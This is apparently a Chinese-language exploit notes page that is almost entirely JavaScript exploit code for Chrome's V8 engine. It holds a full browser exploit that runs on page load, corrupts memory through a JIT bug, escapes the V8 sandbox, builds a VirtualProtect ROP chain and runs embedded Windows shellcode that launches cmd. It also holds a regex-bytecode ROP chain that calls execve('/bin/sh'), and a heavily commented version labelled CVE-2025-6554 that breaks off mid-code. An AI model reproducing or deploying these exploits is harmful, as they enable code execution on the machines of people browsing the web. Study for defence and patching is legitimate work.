// 申请大量小的 ArrayBuffer,用于后续的 PartitionAlloc 攻击
for (let i = 0; i < 0x4000 / 0x40 - 1; i++) {
abs.push(new ArrayBuffer(0x40));
}
// 设置特殊标记以在内存中搜索
new DataView(abs[0]).setBigUint64(0, 0x1337c0de1337da7an, false);

const ab = new ArrayBuffer(0x20000);
new DataView(ab).setBigUint64(0, 0xdeadbeefcafebaben, false);

// 模块 3:定义 Shellcode (Windows x64 机器码)
// 功能:调用 WinExec 执行 cmd /c 后面的命令
const sc = [
0x48, 0x83, 0xec, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec,
0x20, 0xe8, 0x44, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20,
0x48, 0x8d, 0x15, 0xed, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24,
0x20, 0xe8, 0x4a, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x0d, 0xe5, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d,
0x15, 0xd6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8,
0x2b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0xb9, 0xff, 0xff, 0xff,
0xff, 0xff, 0xd0, 0x48, 0x89, 0xd8, 0xeb, 0xf4, 0x65, 0x48, 0x8b,
0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48,
0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b,
0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c,
0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48,
0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xcb,
0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48,
0x31, 0xf6, 0x48, 0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b,
0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x54, 0x24,
0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48,
0x83, 0xc4, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0,
0x48, 0xff, 0xc6, 0xeb, 0xd4, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x8b,
0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77, 0x8b,
0x7b, 0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8,
0x41, 0x58, 0x5e, 0x5f, 0x5b, 0xc3, 0x53, 0x8a, 0x01, 0x8a, 0x1a,
0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48, 0xff, 0xc1,
0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0,
0x5b, 0xc3, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x53,
0x6c, 0x65, 0x65, 0x70, 0x00,
];
// 攻击载荷:弹出命令提示符并显示 ASCII Art
cmd1 =
'cmd /c "title Pwned! & echo \x1b[4;97mPwned by Seunghyun Lee (Xion, @0x10n), for TyphoonPWN 2024\x1b[0m & echo \x1b[5;96m & echo /$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$ /$$$$$$$ /$$ & echo ^| $$__ $$^| $$ /$ ^| $$^| $$$ ^| $$^| $$_____/^| $$__ $$^| $$ & echo ^| $$ \\ $$^| $$ /$$$^| $$^| $$$$^| $$^| $$ ^| $$ \\ $$^| $$ & echo ^| $$$$$$$/^| $$/$$ $$ $$^| $$ $$ $$^| $$$$$ ^| $$ ^| $$^| $$ & echo ^| $$____/ ^| $$$$_ $$$$^| $$ $$$$^| $$__/ ^| $$ ^| $$^|__/ & echo ^| $$ ^| $$$/ \\ $$$^| $$\\ $$$^| $$ ^| $$ ^| $$ & echo ^| $$ ^| $$/ \\ $$^| $$ \\ $$^| $$$$$$$$^| $$$$$$$/ /$$ & echo ^|__/ ^|__/ \\__/^|__/ \\__/^|________/^|_______/ ^|__/ & echo \x1b[0m & cmd"';
cmd = "cmd /c calc"
for (let i = 0; i < cmd.length; i++) {
sc.push(cmd.charCodeAt(i));
}
sc.push(0x00);







var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
var u32_buf = new Uint32Array(buf);

function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function setULBits(low,high){
u64_buf[0] = Number(low);
u64_buf[1] = Number(high);
return f64_buf[0];
}
function setULBits32(low){
u32_buf[0] = Number(low);
return u32_buf[0];
}

function hax(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;

let o = {};
o.maybe_hole = trigger ? hole : "not the hole";
let len = o.maybe_hole.length;
let sign = Math.sign(len);
let i1 = 2 - (sign + 1);
let i2 = 5 - (i1 + 4) >> 1;
let i3 = 2 * i2 + 2;
let i4 = i3 >> 1;
let i5 = i4 * 1000;
// let i5 = i4 * 200;

let arr = new Array(8);
arr[0] = 13.37;

arr[i5] = 13.37;
return arr;
}

let normal = hax(false);

// optimize
for (let j=0; j<0x10000; j++){
hax(false);
}
for (let j=0; j<0x10000; j++){
hax(false);
}
// optimize

// primitives
function addrOf(in_obj) {
/*
14 -> flt_arr map
32 -> obj_arr map
*/
let leak;
obj_arr[0] = in_obj;

let a = (isolate_flt_arr_map) & 0xffffffffn;
let b = ftoi(corrupted[14]) >> 32n;

corrupted[32] = itof((b << 32n) + a);
leak = obj_arr[0];




let A = (isolate_obj_arr_map) & 0xffffffffn;
let B = ftoi(corrupted[14]) >> 32n;

corrupted[32] = itof((B << 32n) + A);



return leak;
}
// 修改后的 32 位读取函数
function caged_read(in_addr, high = false) {
// 保持原本的地址对齐逻辑 (addr - 8)
let a = (in_addr - 8n);
let b = ftoi(corrupted[42]) & 0xffffffffn;

// 更新 corrupted[42] 以指向目标地址
corrupted[42] = itof((a << 32n) + b);

// 获取 64 位完整数值
let full_val = ftoi(rw_prim_arr[0]);

// 根据参数返回低 32 位或高 32 位
if (high) {
return Number(full_val >> 32n);
} else {
return Number(full_val & 0xffffffffn);
}
}

// 修改后的 32 位写入函数
function caged_write(in_addr, write_val_32, high = false) {
let a = (in_addr - 8n);
let b = ftoi(corrupted[42]) & 0xffffffffn;

corrupted[42] = itof((a << 32n) + b);

// 先读取原有的 64 位值,以防破坏不需要修改的那一半
let current_val = ftoi(rw_prim_arr[0]);
let new_val;

if (high) {
// 仅修改高 32 位,保留低 32 位
new_val = (BigInt(write_val_32) << 32n) | (current_val & 0xffffffffn);
} else {
// 仅修改低 32 位,保留高 32 位
new_val = (current_val & 0xffffffff00000000n) | (BigInt(write_val_32) & 0xffffffffn);
}

rw_prim_arr[0] = itof(new_val);
}

// function caged_read(in_addr){ // bigint
// /*
// rw_prim_arr elements ptr OOB in corrupted arr
// corrupted[55] = 0x80013ecf1
// */
// //%DebugPrint(rw_prim_arr);

// let a = (in_addr-8n) ;
// let b = ftoi(corrupted[42])&0xffffffffn;

// corrupted[42] = itof((a << 32n) + b);
// return ftoi(rw_prim_arr[0]);
// }

// function caged_write(in_addr, write_val){ // bigint, bigint
// /*
// rw_prim_arr elements ptr OOB in corrupted arr
// corrupted[55] = 0x80013ecf1
// */


// let a = (in_addr-8n) ;
// let b = ftoi(corrupted[42])&0xffffffffn;

// corrupted[42] = itof((a << 32n) + b);

// return rw_prim_arr[0] = itof(write_val);
// }




let corrupted = hax(true);

//%DebugPrint(corrupted);

let float_arr = [1.2, 1.4, 1.5];
let obj = {cat:["meow", "meow"]};
let obj_arr = [obj];
let rw_prim_arr = [1.1, 1.5, 1.7, 1.8];


//%DebugPrint(float_arr);
//%DebugPrint(obj_arr);
//%DebugPrint(rw_prim_arr);

let flt_arr_map_full = corrupted[14];
let obj_arr_map_full = corrupted[32];


// let isolate_flt_arr_map = ftoi(flt_arr_map_full);
// let isolate_obj_arr_map = ftoi(obj_arr_map_full);

let isolate_flt_arr_map = ftoi(flt_arr_map_full) & 0xffffffffn;
let isolate_obj_arr_map = ftoi(obj_arr_map_full) & 0xffffffffn;




console.log(`[+] flt_arr_map: 0x${isolate_flt_arr_map.toString(16)}`);
console.log(`[+] obj_arr_map: 0x${isolate_obj_arr_map.toString(16)}`);



const ab_addr = ftoi(addrOf(ab))& 0xffffffffn;
console.log(`[+] ab_addr: 0x${ab_addr.toString(16)}`);

// // 模块 6:破坏 ArrayBuffer 内部结构以实现“沙箱逃逸”
// // 修改 ArrayBuffer 的长度 (Length) 为极大值
// caged_write(ab_addr + 0x16n, 0x200000n << 5n);
// caged_write(ab_addr + 0x1en, 0x200000n << 5n);

// // 将 ArrayBuffer 的偏移量 (Offset) 重置为 0,使其能访问整个沙箱基址起始的内存
// caged_write(ab_addr + 0x26n, 0n);




ab_addr_0x16 = caged_read(BigInt(ab_addr) + 0x16n)
console.log(`[+] ab_addr_0x16: 0x${ab_addr_0x16.toString(16)}`);
caged_write(BigInt(ab_addr) + 0x16n, 0xf0000000n);
ab_addr_0x16_2 = caged_read(BigInt(ab_addr) + 0x16n)
console.log(`[+] ab_addr_0x16_2: 0x${ab_addr_0x16_2.toString(16)}`);



ab_addr_0x1e = caged_read(BigInt(ab_addr) + 0x1en)
console.log(`[+] ab_addr_0x1e: 0x${ab_addr_0x1e.toString(16)}`);
caged_write(BigInt(ab_addr) + 0x1en, 0xf0000000n);
ab_addr_0x1e_2 = caged_read(BigInt(ab_addr) + 0x1en)
console.log(`[+] ab_addr_0x1e_2: 0x${ab_addr_0x1e_2.toString(16)}`);




// 将 ArrayBuffer 的偏移量 (Offset) 重置为 0
ab_addr_0x26 = caged_read(BigInt(ab_addr) + 0x26n)
console.log(`[+] ab_addr_0x26: 0x${ab_addr_0x26.toString(16)}`);
caged_write(BigInt(ab_addr) + 0x26n, 0n);
ab_addr_0x26_2 = caged_read(BigInt(ab_addr) + 0x26n)
console.log(`[+] ab_addr_0x26_2: 0x${ab_addr_0x26_2.toString(16)}`);



const dv = new DataView(ab);

// 从内存中提取泄露的指针以计算基地址
const chrome_leak = dv.getBigUint64(0x1090, true);
const ab_pa_leak = dv.getBigUint64(0x1080, true);
const ab_partition_base = ab_pa_leak & ~0x1ffffn;

console.log("[+] chrome_leak:", chrome_leak.toString(16));
console.log("[+] ab_pa_leak:", ab_pa_leak.toString(16));

checkUA(chrome_leak);
const chrome_base = chrome_leak - base_leak_ofs;
console.log("[+] chrome_base:", chrome_base.toString(16));
console.log("[*] ab_partition_base:", ab_partition_base.toString(16));
await sleep();


get_0x1090 = dv.getBigUint64(0x1090, true);
console.log(`[+] get_0x1090: 0x${get_0x1090.toString(16)}`);

get_0x1098 = dv.getBigUint64(0x1098, true);
console.log(`[+] get_0x1098: 0x${get_0x1098.toString(16)}`);

// 模块 7:绕过 V8 沙箱限制 (Sandbox Escape)
// 通过伪造 PartitionAlloc 的 Metadata -> bucket 实现任意写
// 修改 Sandbox 的 Size 为极大值,从而覆盖所有 64 位寻址空间
dv.setBigUint64(
0x1090,
chrome_base + base_tgt_ofs + 0x28n + 0x2n,
true
);
dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true);




get_0x1090_2 = dv.getBigUint64(0x1090, true);
console.log(`[+] get_0x1090_2: 0x${get_0x1090_2.toString(16)}`);

get_0x1098_2 = dv.getBigUint64(0x1098, true);
console.log(`[+] get_0x1098_2: 0x${get_0x1098_2.toString(16)}`);




abs[absctr++].transfer(0); // 触发分配逻辑使修改生效
console.log("[+] Sandbox size overwritten");
await sleep();



// 模块 8:部署 Shellcode 和 ROP 链
// 内存布局:Shellcode(0x14000), ROP(0x1e000), Vtable(0x1f000)
for (let i = 0; i < sc.length; i++) {
dv.setUint8(0x14000 + i, sc[i]);
}

get_0x14000 = dv.getBigUint64(0x14000, true);
console.log(`[+] get_0x14000: 0x${get_0x14000.toString(16)}`);
get_0x14008 = dv.getBigUint64(0x14008, true);
console.log(`[+] get_0x14008: 0x${get_0x14008.toString(16)}`);






// 构造 ROP 链以调用 VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READ, ...)
function set_rop(ofs, val) {
dv.setBigUint64(0x1e000 + ofs, val, true);
}
set_rop(0x0, chrome_base + pop_gadget);
set_rop(0x8, ab_partition_base + 0x14000n); // RCX (Target Addr)
set_rop(0x10, 0x2000n); // RDX (Size)
set_rop(0x18, 0x20n); // R8 (NewProtect: PAGE_EXECUTE_READ)
set_rop(0x20, ab_partition_base + 0x1eff0n); // R9 (OldProtect Addr)
set_rop(0x28, 0n);
set_rop(0x30, chrome_base + prax_ret);
set_rop(0x38, chrome_base + virtualprotect_iat_ofs); // RAX = &VirtualProtect
set_rop(0x40, chrome_base + jmp_drax); // 执行 VirtualProtect
set_rop(0x48, ab_partition_base + 0x14000n); // 跳转到 Shellcode 执行

// 初始化伪造的虚函数表
for (let i = 0; i < 0x1000; i += 0x10) {
dv.setBigUint64(
0x1f000 + i,
(chrome_base + vtable_gadget) ^ fptr_xor,
true
);
}

console.log("[+] shellcode / ropchain / vtable init complete");

// 辅助函数:利用 PartitionAlloc 漏洞将特定内存区域置零
function zero_out(base, len, stride = 2) {
for (let ofs = len - 2; ofs >= 0; ofs -= stride) {
dv.setBigUint64(0x1090, base + BigInt(ofs) - 6n, true);
dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true);
abs[absctr++].transfer(0);
}
}

// 辅助函数:利用 PartitionAlloc 漏洞实现沙箱外的任意写
function arb_write(target, value) {
const freelist_head_orig = dv.getBigUint64(0x1080, true);
dv.setBigUint64(0x1080, ab_partition_base + 0x10000n, true);

const new_bitfield =
(dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | 2n;
dv.setBigUint64(0x1088, target - 8n, true);
dv.setBigUint64(0x1090, ab_partition_base + 0x20000n, true);
dv.setBigUint64(0x1098, new_bitfield, true);
dv.setBigUint64(0x20000, ab_partition_base + 0x1080n, true);
dv.setBigUint64(0x20000 + 0x10, value, true);
dv.setUint32(0x20000 + 0x1c, 1, true);

abs[absctr++].transfer(0);

dv.setBigUint64(
0x1098,
(dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) |
(0x300n << 1n),
true
);
dv.setBigUint64(0x1080, freelist_head_orig, true);
}

// 调试代码:验证原语是否正常工作
console.log("[*] DEBUG: pre-opt");
dv.setBigUint64(0x21018, (1n << 64n) - 1n, true);
for (let i = 0; i < 50; i++) {
zero_out(ab_partition_base + 0x21000n, 2);
}
dv.setBigUint64(0x21000, 0n, true);
dv.setBigUint64(0x21008, 0n, true);
dv.setBigUint64(0x21018, 0n, true);
for (let i = 0; i < 50; i++) {
arb_write(ab_partition_base + 0x21008n, 0xdeadbeefcafebaben);
dv.setBigUint64(0x21008, 0n, true);
}
await sleep(100);

const trigger = sleep(1500);
console.log("[*] sleeping 1000ms...");
await sleep(1000);

// 模块 9:劫持执行流
// 1. 设置 ROP 链地址到 vtable_rax 位置
console.log("[*] target write prepare (ropchain addr)");
arb_write(chrome_base + vtable_rax, ab_partition_base + 0x1e000n);
console.log("[*] target write success (ropchain addr)");

// 2. 设置跳转指令 (Pivot Gadget) 到虚函数调用位置
console.log("[*] target write prepare (pivot gadget)");
zero_out(chrome_base + vtable_call_base, 6);
zero_out(chrome_base + vtable_call_base - 8n, 8);
zero_out(chrome_base + vtable_call_base + 0x10n, 8);
arb_write(chrome_base + vtable_call_base, chrome_base + pivot_gadget);
console.log("[*] target write success (pivot gadget)");

// 3. 最终一步:改写代码指针表 (Code Pointer Table)
// 这将导致下一次特定函数调用时直接跳转到我们的 Pivot Gadget
console.log("[*] target write (CPT)");
console.log("[*] expect shell after 500ms!");
zero_out(chrome_base + base_tgt_ofs - 8n, 8 + 6, 1);
zero_out(chrome_base + base_tgt_ofs + 0x10n + 0x4n, 4, 1);
arb_write(
chrome_base + base_tgt_ofs,
ab_partition_base + 0x1f000n - 0x10000n
);

// 4. 触发执行:等待定时器到期,执行流被劫持,Shellcode 运行
await trigger;
}

// 页面加载完成后自动启动 Exploit
window.onload = exp;
</script>
</body>
</html>

正则表达式绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// Flags:  --sandbox-fuzzing
let s = "aaaaa";

var sbxMemView = new Sandbox.MemoryView(0, 0xfffffff8);
var addrOf = (o) => Sandbox.getAddressOf(o);

var dv = new DataView(sbxMemView);

var readHeap4 = (offset) => dv.getUint32(offset, true);
var readHeap8 = (offset) => dv.getBigUint64(offset, true);

var writeHeap1 = (offset, value) => dv.setUint8(offset, value, true);
var writeHeap4 = (offset, value) => dv.setUint32(offset, value, true);
var writeHeap8 = (offset, value) => dv.setBigUint64(offset, value, true);

var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
let addr_regex = addrOf(regex);

console.log(`[+] addr_regex: 0x${addr_regex.toString(16)}`);

let data_addr = readHeap4(addr_regex + 0xc);
console.log(`[+] data_addr = addr_regex + 0xc: 0x${data_addr.toString(16)}`);

regex.exec(s);
let bytecode = readHeap4(data_addr + 0x1b);

console.log(`[+] bytecode = data_addr + 0x1b: 0x${bytecode.toString(16)}`);

let data_addr_0x2f_1 = readHeap4(data_addr + 0x2f);
console.log(`[+] data_addr + 0x2f: 0x${data_addr_0x2f_1.toString(16)}`);

writeHeap4(data_addr + 0x2f, 2);

let data_addr_0x2f_2 = readHeap4(data_addr + 0x2f);
console.log(`[+] data_addr + 0x2f: 0x${data_addr_0x2f_2.toString(16)}`);





// --- 构造伪造指令数组 (ROP Chain Helper) ---
let arr = [];

function push_reg(idx) { arr.push((idx << 8) & 0xffffff00 | 0x03); }
function pop_reg(idx) { arr.push((idx << 8) & 0xffffff00 | 0x0c); }
function mov_reg1_to_reg2(idx1, idx2) { push_reg(idx1); pop_reg(idx2); }
function advance_reg(idx, value) {
arr.push((idx << 8) & 0xffffff00 | 0x09);
arr.push(value);
}
function set_reg(idx, value) {
arr.push((idx << 8) & 0xffffff00 | 0x08);
arr.push(value);
}
function success() { arr.push(0x0000000e); }

let idx = 0x52;
function add_gadget(addr) {
mov_reg1_to_reg2(3, 5);
advance_reg(5, addr);
mov_reg1_to_reg2(5, idx++);
mov_reg1_to_reg2(4, idx++);
}


// --- ROP 链构造:执行 execve("/bin/sh") ---
mov_reg1_to_reg2(0x53, 4); // 设置高位
mov_reg1_to_reg2(0x52, 3); // 设置低位
advance_reg(3, 0x1724F60-0x2E49EC0); // 修正地址基准
add_gadget(0x00000000011b08fe); // pop rsi
//0x00000000011b08fe : pop rsi ; ret
set_reg(idx++, 0x6e69622f); // /bin
set_reg(idx++, 0x0068732f); // /sh
add_gadget(0x00000000014c38f8); // pop r8
//0x00000000014c38f8 : pop r8 ; pop r9 ; pop rbp ; ret
add_gadget(0x277B000+0x10000); // 目标内存
add_gadget(0x277B000+0x10000); // 目标内存
add_gadget(0x277B000+0x10000); // 目标内存

add_gadget(0x0000000001ccffdd); // mov [r8], rsi

//0x000000000126db15 : mov dword ptr [rax], eax ; ret
//0x0000000001ae5e39 : mov dword ptr [rax], ecx ; ret
//0x00000000025f17d4 : mov dword ptr [rax], edx ; ret
//0x0000000001ccffde : mov dword ptr [rax], esi ; ret
//0x0000000001ccffdd : mov qword ptr [r8], rsi ; ret

//for(let i=0; i<6; i++) set_reg(idx++, 0xdeadbeef); // 填充
add_gadget(0x00000000011b08fe); // pop rsi
set_reg(idx++, 0); // 参数清零
set_reg(idx++, 0); // 参数清零
add_gadget(0x00000000014c38f8); // pop r8
add_gadget(0x277B000+0x10000+0x8); // 目标
add_gadget(0x277B000+0x10000+0x8); // 目标
add_gadget(0x277B000+0x10000+0x8); // 目标

add_gadget(0x0000000001ccffdd); // mov [r8], rsi
//for(let i=0; i<6; i++) set_reg(idx++, 0xdeadbeef); // 填充
add_gadget(0x000000000118ac9d); // pop rdi
//0x000000000118ac9d : pop rdi ; ret

add_gadget(0x277B000+0x10000); // /bin/sh 地址

add_gadget(0x00000000011b08fe); // pop rsi
//0x00000000011b08fe : pop rsi ; ret

add_gadget(0x277B000+0x10000+8); // argv
add_gadget(0x000000000125dd86); // pop rdx
//0x000000000125dd86 : pop rdx ; ret


add_gadget(0x277B000+0x10000+8); // envp
add_gadget(0x0000000001e46d40); // pop rax
//0x0000000001e46d40 : pop rax ; ret

set_reg(idx++, 0x0000003b); // execve
set_reg(idx++, 0); // 高位
add_gadget(0x00000000010f192d); // syscall
//0x00000000010f192d : syscall

success();

// --- 最终触发 ---
console.log(`[+] success`);

for (var i = 0; i < arr.length; i++) {
writeHeap4(bytecode + 0x7 +4 * i, arr[i]);
}

for (var i = 0; i < arr.length; i++) {
let bytecode_1 = readHeap4(bytecode + 0x7+4* i);
console.log(`[+] bytecode + 0x7 + ${4*i} : 0x${bytecode_1.toString(16)}`);
}



regex.exec(s); // 触发 ROP

完善的2025-6554的正则表达式绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
// Flags: --sandbox-fuzzing
let s = "aaaaa"; // 定义目标字符串



var buf = new ArrayBuffer(8); // 创建一个8字节中转缓冲区
var f64_buf = new Float64Array(buf); // 以64位浮点数视图操作该缓冲区
var u64_buf = new Uint32Array(buf); // 以32位无符号整数视图操作(底层同缓冲区)
var u32_buf = new Uint32Array(buf); // 另一个32位整数视图引用

function hex(i) // 定义16进制转换格式化函数
{ // 函数体开始
return i.toString(16).padStart(8, "0"); // 转换为16进制并补齐8位
} // 函数体结束

function ftoi(val) { // 定义浮点数转64位大整型函数
f64_buf[0] = val; // 将浮点数存入缓冲区
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // 将两个32位整数拼接成64位BigInt并返回
} // 函数体结束

function itof(val) { // 定义64位大整型转浮点数函数
u64_buf[0] = Number(val & 0xffffffffn); // 获取低32位并存入缓冲区
u64_buf[1] = Number(val >> 32n); // 获取高32位并存入缓冲区
return f64_buf[0]; // 从缓冲区读出浮点数并返回
} // 函数体结束

function setULBits(low,high){ // 定义手动设置高低位转浮点数的函数
u64_buf[0] = Number(low); // 写入低32位
u64_buf[1] = Number(high); // 写入高32位
return f64_buf[0]; // 返回对应的浮点表示
} // 函数体结束
function setULBits32(low){ // 定义仅设置低32位的函数
u32_buf[0] = Number(low); // 写入低位
return u32_buf[0]; // 返回写入的结果
} // 函数体结束

function hax(trigger) { // 漏洞核心:利用V8 JIT优化漏洞导致越界读写的函数
let x; // 定义变量x
delete x?.[y]?.a; // 复杂的JIT去优化语法的诱导,用于触发错误假设
let hole = y; // 利用未定义变量行为获取hole(空洞)标记
let y; // 定义变量y

let o = {}; // 创建一个普通对象
o.maybe_hole = trigger ? hole : "not the hole"; // 根据触发条件设置该属性为hole或普通字符串
let len = o.maybe_hole.length; // 访问length属性,在hole情况下JIT会产生错误的length假设
let sign = Math.sign(len); // 获取长度的符号
let i1 = 2 - (sign + 1); // 数学运算用于构造特定索引
let i2 = 5 - (i1 + 4) >> 1; // 进一步位移运算,用于制造内存布局偏差
let i3 = 2 * i2 + 2; // 辅助索引计算
let i4 = i3 >> 1; // 索引再次减半
let i5 = i4 * 1000; // 放大索引,导致当JIT出错时发生大幅度越界(OOB)
//let i5 = i4 * 200; // 备用的较小偏移量

let arr = new Array(8); // 分配一个长度为8的小型浮点数组
arr[0] = 13.37; // 初始化第一个元素

arr[i5] = 13.37; // 在JIT优化后的代码中,这里可能在数组实际范围外进行非法读写
return arr; // 返回这个被损坏或可能损坏的数组
} // 函数体结束

let normal = hax(false); // 先以非触发模式调用,建立正常执行统计

// optimize
for (let j=0; j<0x10000; j++){ // 循环65536次
hax(false); // 反复调用以诱导V8编译器对函数进行高度优化(Hot Code)
} // 结束循环
for (let j=0; j<0x10000; j++){ // 再次循环
hax(false); // 确保函数被充分JIT编译
} // 结束循环
// optimize

// primitives
function addrOf(in_obj) { // 定义获取对象内存地址(沙箱内)的原语函数
/*
14 -> flt_arr map
32 -> obj_arr map
*/
let leak; // 定义泄漏值变量
obj_arr[0] = in_obj; // 将目标对象放入对象数组中

let a = (isolate_flt_arr_map) & 0xffffffffn; // 取浮点数组Map的低32位
let b = ftoi(corrupted[14]) >> 32n; // 从越界数组中读出对应位置的高位数据

corrupted[32] = itof((b << 32n) + a); // 伪造对象Map,通过修改内存改变数组类型
leak = obj_arr[0]; // 读取时,数组会将内存地址作为数值返回,实现地址泄漏

let A = (isolate_obj_arr_map) & 0xffffffffn; // 恢复对象数组原本的Map
let B = ftoi(corrupted[14]) >> 32n; // 再次读出高位

corrupted[32] = itof((B << 32n) + A); // 写回正确的Map,保持内存结构稳定

return Number(ftoi(leak)& 0xffffffffn); // 返回泄漏出的地址
} // 函数体结束
// 修改后的 32 位读取函数
function caged_read(in_addr, high = false) { // 定义沙箱内32位内存读取函数
// 保持原本的地址对齐逻辑 (addr - 8)
let a = (BigInt(in_addr) - 8n); // 将目标地址减去8字节作为偏移,适应V8元素存储布局
let b = ftoi(corrupted[42]) & 0xffffffffn; // 从损坏数组的特定位置获取低32位

// 更新 corrupted[42] 以指向目标地址
corrupted[42] = itof((a << 32n) + b); // 将构造的新地址写回,控制RW数组的元素指针

// 获取 64 位完整数值
let full_val = ftoi(rw_prim_arr[0]); // 通过读写数组读取目标内存的64位数据

// 根据参数返回低 32 位或高 32 位
if (high) { // 如果请求高位
return Number(full_val >> 32n); // 返回高32位数值
} else { // 否则返回低位
return Number(full_val & 0xffffffffn); // 返回低32位数值
} // 结束判断
} // 函数体结束

// 修改后的 32 位写入函数
function caged_write(in_addr, write_val_32, high = false) { // 定义沙箱内32位内存写入函数
let a = (BigInt(in_addr) - 8n+1n); // 地址对齐修正
let b = ftoi(corrupted[42]) & 0xffffffffn; // 读取低32位

corrupted[42] = itof((a << 32n) + b); // 劫持读写数组的元素指针到目标内存

// 先读取原有的 64 位值,以防破坏不需要修改的那一半
let current_val = ftoi(rw_prim_arr[0]); // 读取当前64位内容
let new_val; // 定义新值变量

if (high) { // 如果只写高32位
// 仅修改高 32 位,保留低 32 位
new_val = (BigInt(write_val_32) << 32n) | (current_val & 0xffffffffn); // 拼接
} else { // 否则只写低32位
// 仅修改低 32 位,保留高 32 位
new_val = (current_val & 0xffffffff00000000n) | (BigInt(write_val_32) & 0xffffffffn); // 拼接
} // 结束判断

rw_prim_arr[0] = itof(new_val); // 将修改后的完整64位数值写回目标地址
} // 函数体结束


let corrupted = hax(true); // 传入true正式触发漏洞,获取一个具有越界读写能力的数组

//%DebugPrint(corrupted); // 调试命令

let float_arr = [1.2, 1.4, 1.5]; // 分配一个普通的浮点数组
let obj = {cat:["meow", "meow"]}; // 分配一个对象
let obj_arr = [obj]; // 分配一个对象数组,用于地址泄漏原语
let rw_prim_arr = [1.1, 1.5, 1.7, 1.8]; // 分配一个作为读写中转的浮点数组


//%DebugPrint(float_arr); // 调试
//%DebugPrint(obj_arr); // 调试
//%DebugPrint(rw_prim_arr); // 调试

let flt_arr_map_full = corrupted[14]; // 从越界位置读出浮点数组的Map信息
let obj_arr_map_full = corrupted[32]; // 从越界位置读出对象数组的Map信息


// let isolate_flt_arr_map = ftoi(flt_arr_map_full); // 原逻辑(已注释)
// let isolate_obj_arr_map = ftoi(obj_arr_map_full); // 原逻辑(已注释)

